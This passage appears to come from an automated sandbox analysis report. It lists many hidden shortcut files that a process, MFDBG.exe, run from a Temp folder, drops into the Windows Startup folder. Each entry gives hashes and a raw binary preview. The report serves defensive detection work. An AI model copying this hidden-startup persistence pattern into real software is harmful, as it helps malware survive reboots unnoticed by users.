File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:55 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.930824084254249
Encrypted:	false
SSDEEP:	24:8X2Bfh48EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8X859EvZ0yRO7DLO2zdxdRd1kyg
MD5:	B0240656559290706DBEBA433644F866
SHA1:	B59319DA5B07F431479AE2446131F30464E5935A
SHA-256:	C6A9B3CAABB41D3D9FA86C156479C01BE7BF442CDF4415E4C218077D79B65EC5
SHA-512:	FDDBB989A1BE2887951A3C45EF72E070648B40F3B53EC651183C246DE81666740AAB014165EE4E5E3293AB6DBA85FBA2ADD85DF5F54F41EC0A95CCFED9204DEE
Malicious:	false
Preview:	L..................F....".......d....+.>d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....+.>d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ed0f93a683f2412fae380f4f096c6d4c.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:57 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.926168390408307
Encrypted:	false
SSDEEP:	24:8OrBfC8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8OdnEvZ0yRO7DLO2zdxdRd1kyg
MD5:	4CF00BA096CBD3502F01938A297AB3F4
SHA1:	5D4D1BD50F3C62BB878BC19818D235975008AAB9
SHA-256:	3A842A7ACBDC3388F1AB4FC307D6F97B43B84EC0A202E7187DA10D8C9937F47D
SHA-512:	9D150D5D01488E2B55B19B1732BCAF1E419F8EF4A269B30A4F657EA9A23FF4377895A2F38310A2F98A33F57ADDF1D15996A0793974A87F9C95BEF734C810BA96
Malicious:	false
Preview:	L..................F....".......d..._I..d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....6..d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ed165a352a64430bae8f3469b4d6438b.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:15 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.924207542400217
Encrypted:	false
SSDEEP:	24:8RuBfs8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8eBEvZ0yRO7DLO2zdxdRd1kyg
MD5:	3021CBED2E9CDC93C7C75FB9A48302C3
SHA1:	BE5891532323B7CCB6C7D48796FA0530FACE97C0
SHA-256:	04A56E3AB07DE316B86483C0A095785DE1F20942DFABB2865EFFBF166456EEA9
SHA-512:	BFA67A3E2D8DF277F3DC862DD06D653DB3ADD8FB792E2DC5BA9F244A4D02AAC69BEFE2D4FA7C36528DF1778E629A6DFD1ED4B68717BA15325E85BFF25196746B
Malicious:	false
Preview:	L..................F....".......d...V.<&d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....&d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ed2ceb07c8e7470aa75251b85eeba0b5.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:49 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.922585468541764
Encrypted:	false
SSDEEP:	24:8uBfiD8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8EaQEvZ0yRO7DLO2zdxdRd1kyg
MD5:	CABF8D1F4B79339E7B054E8FA7B6BAE6
SHA1:	609FDAEACD8022911F7EC36CF483B173B1B0E65A
SHA-256:	093C720913B1B5FFAC21F8B95E6013A71CAE10BF590B00DFF0F7C2FE1F7C7990
SHA-512:	66AF1D81F67686DEE30AE4010AE743A4136672147B0F802676ACEA92FA6671CF390897120EECD60A62BE54809059622AEA3E27D5E8C0983BDA0E33700FD9D0C4
Malicious:	false
Preview:	L..................F....".......d....1.:d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...R..:d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ee4b5ec409db44739748d36b2bb61633.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:45 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.908764717019057
Encrypted:	false
SSDEEP:	24:8uBf38EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8EEEvZ0yRO7DLO2zdxdRd1kyg
MD5:	8CAD0A3B07C9871124E3297CEEBBDF40
SHA1:	C5445BCD7CF07AAC801D3D24314B0C46E8CBF717
SHA-256:	9EA2389B0A14F5589FE7327DA5F6723B9D0505591BD78CB3F279D70B33EC80CD
SHA-512:	413DD813DC72351D7F6121E81FFF8C937C96BF824439F9267EB782D9D2F1DF0A8E996D46F75609517296445CE9F37A0505643A78D2942D06CBB5C399515AFB99
Malicious:	false
Preview:	L..................F....".......d....jJ\d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....9\d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ee6d7b7c4a014a6389462575a8aefab6.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:44 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.926430867640089
Encrypted:	false
SSDEEP:	24:8FDQBfHf8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8JeMEvZ0yRO7DLO2zdxdRd1kyg
MD5:	82AA6F949EB8A04C89AC95ACB5EE42D8
SHA1:	6CA03D42E6D9B9416C08E1EBCBEA670F302D94C1
SHA-256:	05574CCC533342B347E1F9942407E0E59AFB10E2C8B2F0A1D869D13D41ED2BC2
SHA-512:	83AFD49DF818C2A94C45F056C27B726E261FE9554256C1FFD1A68D7655D437C496913C2A6630B64BFF8EE7DF0EC9E49A81B441DE8B0FB39C41912EA6CCB98CCB
Malicious:	false
Preview:	L..................F....".......d....uR[d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....1[d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ee9d9205c39f4b3092f541c18415cb5d.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:04:03 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.913657614249523
Encrypted:	false
SSDEEP:	24:8tBff8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8fcEvZ0yRO7DLO2zdxdRd1kyg
MD5:	33A7BEC115860ADED748CAB1D0F830FD
SHA1:	9AC172DB4D4C3C7B273CDA62C46562D8E6C3B0D6
SHA-256:	D1FE0F010CFD42D740CD0F5B07B628DD3A5FEA8BFAE0ADD795A53C9627415F85
SHA-512:	C2B93064D25D22E16346E9ADBD3906BEA8438B2B0126F273AC1B77E464D11EA351BF92091B397A6762DCF2C3E26C3788FD40959AA5E75D69FF886B4001857A14
Malicious:	false
Preview:	L..................F....".......d...U!..d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...U!..d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_eee21c00ecd245e89d72ca7658f3dd42.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:04:03 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.918070271736214
Encrypted:	false
SSDEEP:	24:8QBfQ8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8e9EvZ0yRO7DLO2zdxdRd1kyg
MD5:	6805C0FD654F6C794E4906E8D7C4DFFE
SHA1:	DCB43EDA17E72F663ACF8474EE5EA146DD68E3F2
SHA-256:	5B96DD1B02E5AD888EEA9EAA95C913D5FF077D7AB2A61C6DF04AD2622C35DEF7
SHA-512:	78F94E7518578062A139C4495369676B4B8B7E460B6E0C20D4944408F55497CA21340F08D4E383AC53D338A8EC444815911BABAF70C7BFA0E3A61DBEAC0EAE84
Malicious:	false
Preview:	L..................F....".......d...^..d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...2...d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ef0c445c60704dff856e35cfb3ff9549.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:41 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.923464944032612
Encrypted:	false
SSDEEP:	24:80Bfo8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8aFEvZ0yRO7DLO2zdxdRd1kyg
MD5:	1E10CD11BDA05ED3F3A97549B80A0878
SHA1:	B5D4A88DAAAF22AB43C28DCC839B25282225E412
SHA-256:	8BF3A70E20FEE31A504460127D107BB9C3253AEE918EBC912F9CB3A03233DE32
SHA-512:	69790E7B60CD859DFC9CB5F4A4B03F4567D76D4A91A616F4BD693D304F1A78EAD1FEF9BBE5E84FE6E8A54EC737158D191049CEF6BF43C9121E75CFD01D8189AB
Malicious:	false
Preview:	L..................F....".......d...M..}d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....W.}d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ef169d8bbddc4e84ad36022d6f4a87a8.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:54 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.920771300523661
Encrypted:	false
SSDEEP:	24:8MBfAP8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8C9EvZ0yRO7DLO2zdxdRd1kyg
MD5:	3DD19EE2DF7AFE97B867C229FE4AD364
SHA1:	70F88267AA35672FA10F4C505C4210E89AFE6CB0
SHA-256:	3D6DC42D5D1607894C09CE50D5A94821CC6E8DD82E4F9A2193EE92C8ECC0AF5A
SHA-512:	5F07185B670B505DE670917A0B68436B15222E7D226E05957A0E7DD63B7E33D607FF5A1004C19118C1828A558D86D9956D5E1B26284FDBB539B8D72FA14F663C
Malicious:	false
Preview:	L..................F....".......d....o.=d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....=d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ef3977837e7c46be92a9b17ea0369382.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:04:03 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.916027619479387
Encrypted:	false
SSDEEP:	24:87Bff8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8tcEvZ0yRO7DLO2zdxdRd1kyg
MD5:	E22183319F2E7E6AC824FFB94EEB0FF2
SHA1:	2E3A6D726CB04195077B16F6C95E1F456B73FCDA
SHA-256:	2ECD8149E56EDF37E7D89C4D45E8E138E971C1463DE501B97BED19BEBD5D6981
SHA-512:	E72D55658BE267210B9D99C9049CD94784F159E75FC28D22DA547CD1D4075F9F6EFE1DB69C5C5E2E7FD21A89DE8A70927847CA21720260AB5B104C4FEE8583E0
Malicious:	false
Preview:	L..................F....".......d.......d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...U!..d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ef5a5ed4e86c4b8b802c86d812dbb24b.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:51 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.920534352337209
Encrypted:	false
SSDEEP:	24:8RTTBf88EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8nBEvZ0yRO7DLO2zdxdRd1kyg
MD5:	57D97ED0DF7E57D8583B094C2B731A8F
SHA1:	AFF837FCB0311D93F52EDC2EDD9AEF523554CD94
SHA-256:	51176A6DA6EB169A249FDB68450D15601FAFA22C210082B3437C9533057D2E78
SHA-512:	CBB1DA4E6DDFA8132232007AA4E7F7E5F5A18051C11D5D032A5153F91B371064058CC2CC0B8521A41A94D6FD7333CDDC36E35F9A1932E321664D715E70D0F9B0
Malicious:	false
Preview:	L..................F....".......d.....2<d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....4<d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ef6e4451b27b4dbfa91845ca1e8c53db.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:16 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.926676923393193
Encrypted:	false
SSDEEP:	24:8lBf88EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8nxEvZ0yRO7DLO2zdxdRd1kyg
MD5:	C6DEC3B91F37BCBF7AAACE8B75752777
SHA1:	02B6E64224B2D246D810AE6EE7B405E737A61FA7
SHA-256:	1F9E12446040AB187F571DA9E5D9A2896DFA08683B57E359DEBDE6BBF10DA644
SHA-512:	86E1C2F8EAD4FB72295EEF587D2F2BA08A9F17F963040AF7CC89C969F495CCBBF92AC8551A6C8733F978637E450C61C1E955C57A60D976734791ABAF0E85F97D
Malicious:	false
Preview:	L..................F....".......d...l.Z'd.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....?E'd.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ef6eaaebf01141e38106ed6d5b8a8d00.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
